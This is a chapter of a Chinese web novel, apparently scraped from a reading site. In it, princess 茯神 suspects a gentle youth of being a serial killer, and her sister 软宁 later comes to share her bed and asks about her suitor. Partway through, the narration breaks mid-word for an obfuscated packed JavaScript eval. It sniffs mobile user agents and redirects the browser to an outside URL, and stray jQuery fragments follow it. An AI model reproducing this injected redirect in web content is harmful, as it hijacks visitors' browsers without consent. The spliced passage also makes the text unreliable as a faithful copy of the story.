48.夜话

作品:《普女,也可以白月光吗

    48/


    茯神敛眸静静看着眼前少年,神情没有任何变化,无论他说出怎样奇怪的话,都温和不恼:“替姐姐担心的吗?”


    毕竟他们俩个素不相识。


    唯一的交集,便是软宁。


    一个是软宁关系不睦的妹妹。


    一个是软宁的属臣。


    薛怜蹙眉望着她,少年灵秀的眼眸微微一颤,像是极大的委屈。


    他没有辩解,却又好像什么都说了。


    顿了一下,他说。


    “是我自己,要担心公主的。我曾经有一个姐姐,她和公主一样,温柔安静,美好得像一株花。有一个世家公子看上了她,说喜欢她,想要娶她。姐姐知道他是骗她的,高门贵族是不会娶一个落魄寒门的女子的。但她觉得,做妾也没关系。但最后,她死了。被那高门公子的妻子虐待而死。”


    “她说,我姐姐不是自诩会种花吗?以此魅惑勾引郎君。那就要她种出,四季常开,清白无瑕,要像芍药,像牡丹,还要像莲花,常开不败的花。”


    “他们污蔑她是妖邪。说她用人血饲养花。我在乱葬岗看到她尸体的时候,她那么瘦,手臂上都是一个个血洞,种子在她的肉和骨头里都发了芽。”


    他怔然说着,灵秀的眼眸里蓄满了露水一样的眼泪。


    他怔然回神,哀恸地望着茯神:“对不起,我是不是吓到你了?”


    茯神静静望着他,缓缓摇头。


    她的眼眸里没有怜悯,不忍,同情,任何。


    只是如月光下无尽的水泽,承载一切倒影其上。


    无尽孤寂,无边柔软。


    他怔怔地看着她,沉入了那双眼眸里。


    直到更露的声音滴落下。


    他眉睫颤了一下,回神。


    “花送给你,我、我走了。”


    灵秀忧郁的眉眼垂下,他慌乱转身离去。


    茯神目送他离开,抱着花盆合上了门。


    她将花盆放在梳妆台的镜子前。


    那花倒影在夜晚的镜中,一片青雾海,仿佛有如数冤魂挣扎泣诉。


    而她是行走岸上,唯一度化的明媚。


    海是地狱海。


    岸是幽冥岸。


    但她并不看向那青雾弥漫处。


    杀上百人的连环杀人魔,生得什么模样?


    生的凶神恶煞吗?亦或是蛊惑众生的皮相?


    他的灵魂会是一眼脆弱,善良,甚至破碎如朝露吗?


    善良到小心翼翼,共情关心陌生少女的命运悲喜。


    是患有重病,命不久矣,却眼眸轻灵秀澈的苍白薄命吗?


    他会比你先死。


    当受害者死去的时候,痛心痛苦绝望中,望见他失神含泪的眼眸。


    甚至会为他心酸心软。


    “没关系,不怪你。”


    “我原谅你了。”


    以为,或相信,那疯魔破碎的少年不知道他自己做了什么。


    将自己度化成度他的神女。


    自小悲苦,相依为命的姐姐被世家高门的女子虐杀了,亲眼目睹姐姐尸体的小孩疯了。


    于是再也没有长大。


    于是长大后,找寻和加害者相似的人,重复过去的报复。


    合情合理吗?


    那荒诞可怖,乌鸦啼飞的枯院里。


    花园中被种下的花。


    只见高门闺秀,不见世家公子。


    茯神看着这株妖异的奇花,轻轻摘下一瓣花瓣,垂眸看着,神情一点微微笑。


    这样被同情的,仿佛情有可原的悲寂的故事,能编一万个。


    她能。


    软宁也能。


    比如。


    前世被夫君害死的女子,重生之后,每当新婚之夜,就要在宫殿里炮制珍藏一具新郎的尸体。


    咚、咚、咚。


    夜半时分,门又被敲响了。


    茯神起身,上前打开门。


    门外露出软宁抱着手臂,不耐烦的脸。


    “怎么才开门?”


    抬眼撞上茯神安静注视的眼眸。


    她有一丝略微的尴尬,下意识别开视线,随即变成理所当然重新看过去。


    “你的那些侍女呢?怎么不是她们开门?”


    就好像生硬地解释,她方才不客气的抱怨,并不是冲着茯神一样。


    偌大一个院子,夜晚时分怎会让一个公主独自在房中。


    应该有人守在院子门口。


    有人守在房间里,守夜。


    端茶递水,或是像这样夜半有人,来回递话。


    软宁有些狐疑看了看左右。


    茯神的院子里只有她。


    一点也不像个公主。


    但茯神从来都不像个公主。


    月光明亮得有些刺眼。


    高高地挂在天上。


    没有星星,也没有风。


    在月光照见,人们看不见的院墙之内。


    本该值夜清醒的人,安安静静睡倒在地。


    有些靠着墙壁,有些靠着角落,有些趴在桌子上。


    仿佛一场怪诞故事降临,所有人一瞬间失去意识。


    如果不是让他们无声无息睡去。


    他们又怎么会让一个外男,哪怕是一个少年模样的人,在夜半时分,出现在公主的房门前。


    那样敲响她的门?


    原白凤又怎么会允许,有人那样轻易靠近她。


    茯神的声音温和:“他们白天服侍了一天累了,早些休息了。”


    软宁撇撇嘴,就知道她又那样。


    自降身份。


    “不是我说,你若是不自己立起来,不把自己当一回事,别人就更加不会拿你当一回事了。那些人都是拜高踩低,看人下菜碟的。你不摆公主的架子,他们就会背后嘲笑你。早在陈郡的时候,你还不清楚吗?”


    她自觉这句话说得真心实意为茯神好。


    既然说了为茯神好的话,接下来的事情便心安理得。


    就好像卖给了对方东西,既然对方得了好处,自己就理所应当得到报酬。


    说着,不等茯神请她进去,软宁强行挤开茯神进入她的房间里。


    茯神因为她的动作,后退了半步。


    顿了一下,神情没有任何变化,缓缓抬眼朝软宁看去。


    软宁一进来就四处打量。


    看房内的陈设,垂幔都是寸比黄金的云锦。


    想要找点茬贬低,唯一能找到的瑕疵,就只有妆台上不合时宜的一盆花。


    看到那盆花,软宁愣了一下。


    “这花怎么在这里?”


    茯神站在门口,望着她,语气温和缓缓:“不是姐姐让你的人送我的吗?”


    软宁露出一个干笑。


    如此怪异的花,除了父皇赐给她的那个能种出天下奇花异草的花匠,也没有第二个人了。


    “你若喜欢,我送你好了。”


    茯神看着她:“姐姐说得是花,还是人?”


    软宁一阵动摇。


    她有一瞬心动,把那个危险的不安定的因素直接打包给茯神丢去。


    这小毒物现在明显是对茯神感兴趣。


    可如果对方真的把茯神弄死了,人是她送的,她肯定脱不了干系。


    崔雪尘要是知道了,肯定以为是她指使人害死他未婚妻的。


    可话又说回来。


    现在两人应当是还未碰过面,如果崔雪尘在未曾和茯神有交集的情况下,茯神就没了,那后续他们还会有什么吗?


    软


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065280|192728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁站在那里兀自发呆。


    许久。


    茯神站在门口的位置,也不说话,任由她发呆。


    直到一阵冷风吹过。


    软宁打了个寒颤,回头看去,看到茯神望着门外天空的月色似是出神。


    她皱眉诧异道:“大半夜的,你不关门站在那里干什么呢?怪渗人的。”


    她早知道茯神孤僻,古怪,于是抱怨了也就算了。


    兀自原谅了茯神。


    茯神看向软宁:“大半夜,姐姐在我的房间里有事吗?”


    软宁顿了一下,故作理所应当走向茯神床榻的方向,嘴里一副很自然地样子说着:“我跟你一起睡。”


    片刻,没听到茯神的话。


    没有诧异,没有反对,也没有同意答应。


    她带着一点遮掩不住的恼羞成怒,耳朵都有点红,故作皱眉扁嘴看着茯神:“干嘛,又不是没一起睡过。”


    说着也不看茯神的表情,自己大步走到门口,关了门,拉着茯神往床边走。


    把茯神往床上一推。


    自己兀自脱了外衣,往床上一趟,裹上被子,就不管了。


    茯神躺在她旁边,安安静静闭上眼睛。


    软宁有些翻来覆去。


    她转过身看向茯神,见她闭着眼睛,安安静静仿佛已经睡着。


    想要说些什么,又有些出神。


    望着茯神的脸,眼神复杂,更复杂的是心情。


    就像她方才脱口而出说的那样,小时候她们也是这样躺在一起睡在一张床上过的。


    讨厌是真的,身体的毫无排斥也是真的。


    茯神感觉自己的脸被轻轻碰了一下。


    柔软,微凉,带着一点似曾相识的微香。


    她睁开眼。


    看到软宁侧身望着她,神情纠结复杂,正望着她。


    看到茯神睁开眼,反而是软宁先露出被吓了一跳的神情。


    “你干嘛不睡这么看着人?”


    软宁皱眉责怪道,翻了个白眼。


    她看到茯神神情安静,有些懵懂地抬手,手背轻轻擦拭过脸颊。


    神情略微有些不自然,然后在茯神疑惑之前。


    软宁问道:“你跟原白凤是怎么回事?”


    茯神顿了一下,缓缓放下手,微微摇头。


    “摇头是什么意思?”


    软宁蛄蛹着靠近点。


    茯神下意识后退。


    后面是墙。


    软宁没有注意到她的退避:“他是不是喜欢你?”


    茯神不答,垂下眸。


    软宁不死心:“你别被男人随便骗了。那种世家公子尤其是顶级世家的,什么样的女人没见过。无缘无故凭什么对你这么好?”


    茯神不答。


    她也不等她回答,追问:“他拉你的手了吗?”


    茯神想了想,点头。


    软宁声音压低:“那,他有抱你吗?”


    茯神想到那天的骑马,迟疑点头,又摇了摇头。


    软宁的声音绷紧,一种紧张好奇的干涩:“那……”


    她声音太小,茯神没有听清。


    望着她的眼睛:“你说什么?”


    软宁支支吾吾半天,终于凑到茯神耳边:“他亲过你吗?”


    没有回答。


    软宁拉开一点距离,看见茯神的脸。


    月光透过薄窗纱落入室内。


    茯神的脸在夜色里也看得清楚。


    那张脸上的神情安静,眸光也静谧无波。


    并不冷,是一种月光落在湖泊之上,静影沉璧,无声无息的柔和。


    无欲无求。


    却让人想将手伸进湖泊中,掬捧打捞起什么。


    激发人无穷无尽的贪嗔痴恨。